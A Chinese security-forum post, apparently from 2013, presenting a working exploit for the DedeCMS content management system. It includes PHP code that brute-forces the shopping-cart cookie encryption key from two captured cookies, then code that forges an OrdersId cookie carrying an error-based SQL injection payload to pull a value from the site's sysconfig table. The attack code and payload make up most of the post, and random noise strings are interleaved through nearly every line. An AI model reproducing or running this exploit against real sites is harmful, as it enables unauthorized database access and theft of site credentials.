找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2116|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
; G# d! [! t5 t& x+ v) n& z在 include/shopcar.class.php中5 I* X$ p& u# S# a) K" p& L
先看一下这个shopcar类是如何生成cookie的
) r( n0 |7 u4 Y5 \/ k: e2 `239      function saveCookie($key,$value)
% k8 p/ _2 z9 r  |7 L- r240      {
* q& ]& D; Z( M' U2 _* M241          if(is_array($value))
# p1 {" Y( Z& m# u6 C2 y242          {7 U6 g- O3 I% Y) {' V# G, x# O4 U  `
243              $value = $this->enCrypt($this->enCode($value));
4 ?% [1 C' e" g3 q8 T: F0 Q! s244          }
/ y0 ^, D" \0 v  S& Y245          else% X, a/ D+ M; X
246          {
! {' c: \( ~3 Q% a247              $value = $this->enCrypt($value);
; g- o1 @' r7 K+ n9 |. O  i248          }
- U# g* k3 a8 G9 r* H+ X249          setcookie($key,$value,time()+36000,’/');5 B4 ], J& G* T. M: r
250      }
9 |/ x- c2 w# J: ^8 [( `简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
0 `7 U( `  r) Y" ~( j, U6 ~+ C186      function enCrypt($txt), r1 w6 p9 d) l* v/ ?! B
187      {
/ S: F8 R% h. h188          srand((double)microtime() * 1000000);
- A% T4 S) v2 u189          $encrypt_key = md5(rand(0, 32000));4 f  O* g! u: @
190          $ctr = 0;; j! ~5 f. G2 }# p2 F2 y1 O' r, B
191          $tmp = ”;
1 l! v. i! F5 Q- l+ g192          for($i = 0; $i < strlen($txt); $i++)* G6 O/ e$ \2 G! Y# |* o: y" Z
193          {
# w5 [0 w! |# }. E+ F& L194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 Z( \$ [5 T9 q2 [195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
) e4 i1 K, Q& g. O6 D196          }7 Y. q* R" y# |0 x2 T8 v- i
197          return base64_encode($this->setKey($tmp));2 k5 f; i- d7 N" Q0 P/ V
198      }% J0 ~: S4 k! C1 F( k9 `. B) L. i4 K7 ^
213      function setKey($txt)
: N+ b5 ?$ j" }# h; m$ q214      {8 |" A1 ^+ A6 I2 S) }4 ^& w: v
215          global $cfg_cookie_encode;
" j2 n0 s# v5 n216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
" I- t1 G" m6 n% g% G$ t217          $ctr = 0;
# ]4 ?5 b7 z! L! @218          $tmp = ”;0 S) I( Q5 f6 r/ |3 J4 l; [
219          for($i = 0; $i < strlen($txt); $i++)" I( b3 q# E, N* R+ l  v
220          {
: z% ?6 g; F6 }, B; \3 @221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
2 ^4 x7 F5 Q/ f+ N& I222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
$ ?7 N8 V0 l( g0 J# b2 E2 q223          }
( i$ J& R' j; ]- Z224          return $tmp;* E" O% {! V/ f* l2 ^; {7 W3 [% u
225      }
. f3 L" I# A/ V" WenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的) Z: p" c' e5 t) U7 X
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
$ \$ B4 k& q3 h/ @1 M6 b具体代码如下:% }0 T3 ?' ?2 w8 O' W
<?php
' }! V( J+ k+ V( o. q$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here& Z$ L- O+ I* |: t0 ?2 _
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here$ |3 Z: H1 a5 Q0 q: y% k
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here& }, J; C, s/ c. b+ ^. n  ]
function reStrCode($code,$string)" M, N+ h, T: T# Y( @- d! [) c! ]
{* V' O5 m$ s# i1 U+ h
$code = base64_decode($code);# A! b4 A& N4 [4 m" |
$key = “”;
$ k- @$ i- L. r8 P& ]) yfor($i=0 ; $i<32 ; $i++)4 I: t  m1 I! m, v
{6 \4 [7 D$ r& w0 }6 e
$key .= $string[$i] ^ $code[$i];
0 e+ l! a  h( r8 t9 m# P2 ]6 c}
; x4 |1 [1 q( v1 [9 }5 ureturn $key;
) T! S% ]" u: P5 ~3 J# ^# m}' {' a7 ~3 B. i& o" B
function getKeys($cookie,$plantxt); W0 m1 v" c+ h; M: a
{7 V, B: M& A, B7 [
$tmp = $cookie;
+ z) W4 j$ q4 x3 H  w$results = array();
" Z7 c& |  c9 q. F/ [, Ufor($j=0 ; $j < 32000; $j++). O4 m7 f& i5 b
{
; R" @  W- n' H4 ^- V; l- ?+ F; }, \
$txt = $plantxt;, r7 o6 C$ Y; q2 ^: \& Q( O% t
$ctr = 0;
, H/ f' L$ s" F3 j, k( }1 e$tmp = ”;- H1 s" M! j/ ~3 T
$encrypt_key = md5($j);
9 q* a1 V0 Z# Xfor($i =0; $i < strlen($txt); $i ++)
) ]9 T- f7 y( o! m- Q6 v& l. U2 D/ U{$ W7 q# N3 R0 E& f0 Y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;5 c/ Z  f8 H" @5 J, g) S' t
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 [4 e+ z, Q6 h4 X& Q5 ~
}8 j# E+ {& m7 w. o1 }5 F7 a
$string = $tmp;8 ]" v$ p' u( D6 G
$code = $cookie;
$ _- b+ c! i4 N+ B$result = reStrCode($code,$string);
9 e+ {" }, e/ E( h! U$ i0 n6 k7 a8 Aif(eregi(‘^[a-z0-9]+$’,$result))
* w7 `3 G" G) J5 e, I{
( k; e1 K0 [" Q, b; r: y5 n! Pecho $result.”\n”;
1 {+ \8 A8 [4 H$results[] = $result;
5 }  |9 X2 M3 `3 q/ ~6 u}
/ b) K" R: {; _; o5 {}
7 f+ m) T& x" u6 I& ireturn $results;3 {8 S" D( x  [, ?2 b2 n/ p
}
/ G! n3 O/ n% {$results1 = getKeys($cookie1,$plantxt);
$ T# ]5 e# A1 K2 C) e$results2 = getKeys($cookie2,$plantxt);$ n5 S. z/ `2 }
print “\n——————–real key————————–\n”;
/ L+ x; W2 [5 o% @foreach($results1 as $test1)* W& e' Y5 v; f% A' C! L7 G
{
( R& S( L$ P: G$ \foreach($results2 as $test2)
3 k- s! R' H+ p' u{4 Y# n6 P( Q. c0 Q
if($test1 == $test2)
0 `5 k. u: Y& ?5 ~% ~{
( K+ R2 l4 W" p0 q  W+ Xecho $test1.”\n”;
* }5 e' A, h# r5 S# _5 ]}
+ S" ?0 j3 `. h: V# h( m* ~/ n% y}" j2 d+ T' n, {
}
" _' z& N" r2 I; a0 o! I?>& q8 `! v4 O% y% s' S& N: E
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,: V" U7 j2 Z5 K1 T9 a- ]8 R( g$ L
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
" B! e! k0 M1 m' b2 X然后推算出md5(strtolower($cfg_cookie_encode))
6 F5 V  X& M; e  |5 t9 S1 ~9 r/ h得到这个key之后,我们就可以构造任意购物车的cookie
  u4 Z/ C( }! g" p7 z# Z接着看0 Q8 K+ t0 R( H% {: i
20  class MemberShops$ `- e$ S0 l8 I! e1 u
21  {2 A2 m4 \+ R$ a+ Q  G
22      var $OrdersId;5 ^9 B6 u  K% l2 A4 Z
23      var $productsId;
9 [% [1 ~* C6 w0 r5 p) q8 v24
9 k, j6 U( m1 D+ p25      function __construct()4 P+ U) s% d9 B7 P  \2 s
26      {
: Z1 L$ ?- z! Z) @7 ~+ D& @27          $this->OrdersId = $this->getCookie(“OrdersId”);
1 Y$ K' f. _' \28          if(empty($this->OrdersId))' h' N  @; G; |+ t- n3 N) I
29          {2 ~0 K5 T, ]& q6 G! `! E# A
30              $this->OrdersId = $this->MakeOrders();
, e. G$ m1 \$ w2 p. _0 [3 ]: S31          }
" O( L* a8 v5 t  w6 ^- m32      }
4 ^8 U: H6 ?2 s1 K发现OrderId是从cookie里面获取的
/ B& @% H( b! j' E$ F5 i% P8 }然后$ I: b' T: h& p( v- r
/plus/carbuyaction.php中的" s* F$ F& h1 W, H+ h/ w2 D! C) \
29      $cart    = new MemberShops();. j! N2 ^6 k: L' C
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号9 q& ~* q, s: _  P$ [; d
……
$ q) s. f: Q* m3 W173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
3 o$ t; Y/ u1 s& L, r5 R( [接着我们就可以注入了
+ c7 `5 U5 Y2 _' F: q7 l6 ~通过利用下面代码生成cookie:
" e3 A: }4 Q! n0 g5 _9 ?<?php
! d0 G: |8 [4 m: L: V; ]" O$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;1 j. U& u3 y, A8 |# \; M
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
6 Y7 ?" B" M$ W0 M2 Jfunction setKey($txt)
, C' ~+ U9 K  _) c5 k* ~2 x$ G{
6 H1 b' V' `5 X2 Sglobal $encrypt_key;
1 b1 u+ R0 j# c  E6 f$ctr = 0;
& ?  X  d7 P. _9 Q7 E5 c$tmp = ”;2 o0 P: _7 d) u/ q2 u/ Q
for($i = 0; $i < strlen($txt); $i++)% x( w0 k+ Z, z9 r$ q& R
{* V, P5 f" {$ W+ M' ~5 t; N& s- s' _+ V
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;- d6 g0 c; E$ d( }1 q
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];  B4 F/ i. p) w- P
}+ N/ A$ K; O1 D: \8 V
return $tmp;
6 e5 n. l6 j" ]( S. K8 q8 g) E}
* p9 N! A( t4 W* Kfunction enCrypt($txt)
+ f0 g* s2 B3 |$ d, T+ f! o) c{
+ T4 Y2 Z0 w, p' ^) \srand((double)microtime() * 1000000);
* w, s- ~% e( U  d8 I, l$encrypt_key = md5(rand(0, 32000));
# N4 c/ h+ x* P7 Z: [  U$ctr = 0;; S6 y' m& U  V7 w# s. j, r
$tmp = ”;. D' g, ^2 V7 b+ |  i* E4 S% l0 j- I
for($i = 0; $i < strlen($txt); $i++)
" U, P* t# ?3 Z' r( b% E* p* e{: {0 l4 S$ ^( y% ]
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;, r$ R. D6 s0 A* T2 `
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 I9 i8 h5 R+ e3 U* @9 n( Q}
* y  Q* D- R  U4 p+ H2 breturn base64_encode(setKey($tmp));
7 m" {  G1 o3 e2 I}
" ^% k$ z5 e9 z9 r% y: Pfor($dest =0;$dest = enCrypt($txt);)
8 d! z+ ], A8 T+ z: U{" k( w8 \4 A& G$ i4 ]
if(!strpos($dest,’+'))
  Y  K0 ~: O$ b{
/ `! B8 |# m! h) j& `- ubreak;
5 e$ @; A4 {4 S& r4 _}
; T* m6 g* g1 h1 c4 H}+ X7 D0 O& o' E# [4 m6 ]' ?" b- R
echo $dest.”\n”;& c. o; Q9 c) Y# l7 {* [
?>
! Z. B$ x5 _3 p# y% \7 Y2 n/ A1 a( p! k  T8 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表